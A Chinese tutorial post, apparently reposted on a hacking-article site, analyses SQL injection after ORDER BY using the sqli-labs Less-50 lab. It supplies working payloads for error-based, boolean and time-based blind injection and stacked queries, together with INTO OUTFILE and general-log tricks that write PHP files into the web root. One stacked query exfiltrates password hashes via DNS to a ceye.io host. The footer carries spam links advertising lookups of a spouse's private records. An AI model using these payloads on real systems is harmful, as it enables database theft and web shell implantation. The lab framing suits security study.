从sqli-labs Less - 50 全面分析order by后注入

访客4年前黑客文章1077

从sqli-labs Less - 50 全面分析order by后注入

参考文献:

国光 Less-38

lcamry Less - 46

DNSLog在MySQL注入中的实战

Dnslog在SQL注入中的实战

Less-50

请求方式注入类型拼接方式
GET报错、布尔盲注、延时盲注、堆叠注入ORDER BY $id
$id=$_GET['sort'];
$sql="SELECT * FROM users ORDER BY $id";
if (mysqli_multi_query($con1, $sql))
输出查询信息
else
print_r(mysqli_error($con1));

和Less-46相比,查询方式由mysql_query变成了mysqli_multi_query,因此支持堆叠注入,在注入方面会更加灵活。

order by不同于where后的注入点,不能使用union等进行注入。

SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_ *** ALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr] ...
[into_option]
[FROM table_references
[PARTITION partition_list]]
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[into_option]
[FOR UPDATE | LOCK IN SHARE MODE]
into_option: {
INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name] ...
}

可以利用order by后的一些参数进行注入

比如

ASC | DESC
LIMIT 
PROCEDURE
INTO OUTFILE 'file_name'
INTO DUMPFILE 'file_name'

查询语句为

SELECT * FROM users ORDER BY $id

order by后的数字可以作为一个注入点。也就是构造order by后的一个语句,让该语句的执行结果为一个数。该语句有三种形式

1.直接添加注入语句

?sort=(select ****)

2.利用rand()函数

?sort=rand(sql语句)

3.利用and

?sort=1 and (sql语句)

其中,sql语句可以利用报错注入和延时注入的方式。

验证方式:

升序和降序验证

# 升序排序
?sort=1 asc
# 降序排序
?sort=1 desc

rand()验证

rand(true)和rand(false)的结果是不一样的

?sort=rand(true)
?sort=rand(false)

利用rand()函数可以构造出布尔和延时盲注的payload

此外rand()的结果一直都是随机的

?sort=rand()

延时验证

?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)

这几种方式均可以延时,延时的时间为(行数*1)秒

报错注入

and (报错注入)

?sort=1+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
?sort=0 and%20(updatexml(1,concat(0x5e24,(user()),0x5e24),1))

直接添加注入语句报错

?sort=(SELECT COUNT(*) FROM information_schema.COLUMNS GROUP BY CONCAT(0x3a,0x3a,(SELECT user()),0x3a,0x3a,FLOOR(RAND(0)*2)))

procedure *** yse参数后注入

利用procedure *** yse参数,也可执行报错注入。同时,在procedure *** yse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure *** yse进行注入。

注意,procedure *** yse只能在Linux下使用

?sort=1 procedure  *** yse(extractvalue(rand(),concat(0x3a,version())),1)
?sort=1 procedure  *** yse(extractvalue(rand(),concat(0x3a,(SELECT+CONCAT_WS(':',username,password)+FROM+users limit 0,1))),1)

布尔盲注

数据库的之一位为s:

?sort=RAND(LEFT(database(),1)>'r')
?sort=RAND(LEFT(database(),1)>'s')

延时盲注

数据库之一个字母的ASCII码为115,即s

?sort=RAND(IF(ASCII(SUBSTR(database(),1,1))>114,1,sleep(1)))
?sort=RAND(IF(ASCII(SUBSTR(database(),1,1))>115,1,sleep(1)))
?sort=(SELECT IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) FROM (select database() as current) as tb1)

into outfile

将查询结果导入到文件中

?sort=1 INTO OUTFILE "C:/phpstudy_pro/WWW/less50.txt"

如果导入不成功的话,很可能是因为MySQL在当前Web目录下没有读写权限造成的。

访问验证是否有信息:

C:\Users\Nawkham>curl http://127.0.0.1/less50.txt
1    Dumb  Dumb
2    Angelina    I-kill-you
3    Dummy  p@ssword
4    secure crappy
5    stupid stupidity
6    superman    genious
7    batman mob!le
8    admin  admin
9    admin1 admin1
10   admin2 admin2
11   admin3 admin3
12   dhakkan dumbo
14   admin4 admin4

利用导出文件getshell

可以将lines terminated by用于order by的情况来getshell

lines terminated by可以指定每一行之间的分隔符。

?sort=1 INTO OUTFILE "C:/phpstudy_pro/WWW/less50.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e

3c3f70687020706870696e666f28293b3f3e是<?php phpinfo();?>的十六进制编码

查看写入的文件内容:

1    Dumb    Dumb<?php phpinfo();?>2    Angelina    I-kill-you<?php phpinfo();?>3    Dummy    p@ssword<?php phpinfo();?>4    secure    crappy<?php phpinfo();?>5    stupid    stupidity<?php phpinfo();?>6    superman    genious<?php phpinfo();?>7    batman    mob!le<?php phpinfo();?>8    admin    admin<?php phpinfo();?>9    admin1    admin1<?php phpinfo();?>10    admin2    admin2<?php phpinfo();?>11    admin3    admin3<?php phpinfo();?>12    dhakkan    dumbo<?php phpinfo();?>14    admin4    admin4<?php phpinfo();?>

用浏览器访问测试

1614351170_60390b4241dfa8d040b09.png!small

堆叠注入

局限性:在Web中代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略。如果是在Windows平台下,可以使用DNSLog数据外带,或者开启日志Getshell的方式,来获得查询内容。

利用CEYE平台读取DNS查询日志,获得外带的数据

?sort=1;SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(password) FROM users LIMIT 1,1),'.b182oj.ceye.io\\abc'));

开启日志getshell

?sort=1;set global general_log="ON";set global general_log_file='C:/phpstudy_pro/WWW/1.php';
?sort=1;select "<?php phpinfo();?>";

总结

如果页面会打印错误信息,则可以使用报错注入。在进行布尔盲注和延时盲注的时候,如果拼接方式有引号,只能使用and来进行报错和延时注入。如果MySQL有读写Web目录的权限,可以使用into oufile或lines terminated by这两种 *** ,将结果导入到一个可以访问的文件中。如果查询的SQL语句中使用了函数mysqli_multi_query,该函数可以执行多个由分号分隔的SQL语句,此时还可以进行堆叠注入。但是,堆叠注入有局限性,结果可能无法回显到前端。这时,如果是在Windows平台下,可以使用DNSLog数据外带,或者是开启日志Getshell的方式,来获取查询内容。


相关文章

有办法查出我老婆QQ信息记录

疫情之下,线下实体经济正面临着前所未有的挑战。削减线下实体门店,转战线上,是不少品牌的应对之策。而高端男装品牌BOSSsunwen在开拓线上业务的同时,还选择了逆势开店,继续为实体经济造血,所展现的品...

罗马尼亚一家新冠定杨受成点医院起火 致10人死7人伤

  中新网11月15日电 据路透社消息,当地时间14日,罗马尼亚紧急情况署发布消息称,该国一家治疗新冠患者的医院在当天发生火灾,导致10人死亡,另有7人受伤。 当地时间14日,罗马尼亚紧急情况署...

Excel2019怎么合并单元格,Excel2019合并单元格教程

近日有一些小伙伴们资询我有关Excel2019如何合并单元格呢?下边就为大伙儿产生了Excel2019合并单元格实例教程方式,有必须的小伙伴们能够 来掌握掌握哦。       近日有一些小伙伴们资询我...

上海洗浴中心价格多少_哪里有联系电话,在线等急缺!

上海洗浴中心价格多少?哪里有联系电话,在线等急缺! 上海洗浴中心价格多少?哪里有联系电话,在线等急缺! 我们都是专为上海市高端人士打造出:大家消費,高档享有,技术专业的缓解压力休闲中心,技...

卖什么赚钱?摆摊攻略:卖什么最赚钱?

卖什么赚钱?摆摊攻略:卖什么最赚钱?

经常看到很多人在问“摆摊经验”的,可是那些熟手多半是惜字如金。 总是讲自己如何牛逼,对于最重要的“如何变成牛人”却简要一说,让人自己去参透,害的大家看了很多文章也摸不到门道。 今天小编就来扒一扒,...

老婆开房记录查询在哪里可以查到 如何能查询到

"熊猫烧香"系列病毒的作者才刚刚被抓获,另一个非常类似的蠕虫病毒"仇英(worm.chouying.a)"被瑞星全球反病毒监测网截获,其作者宣称"出售本程序及源代码,并可以按照用户要求定做其他功能",...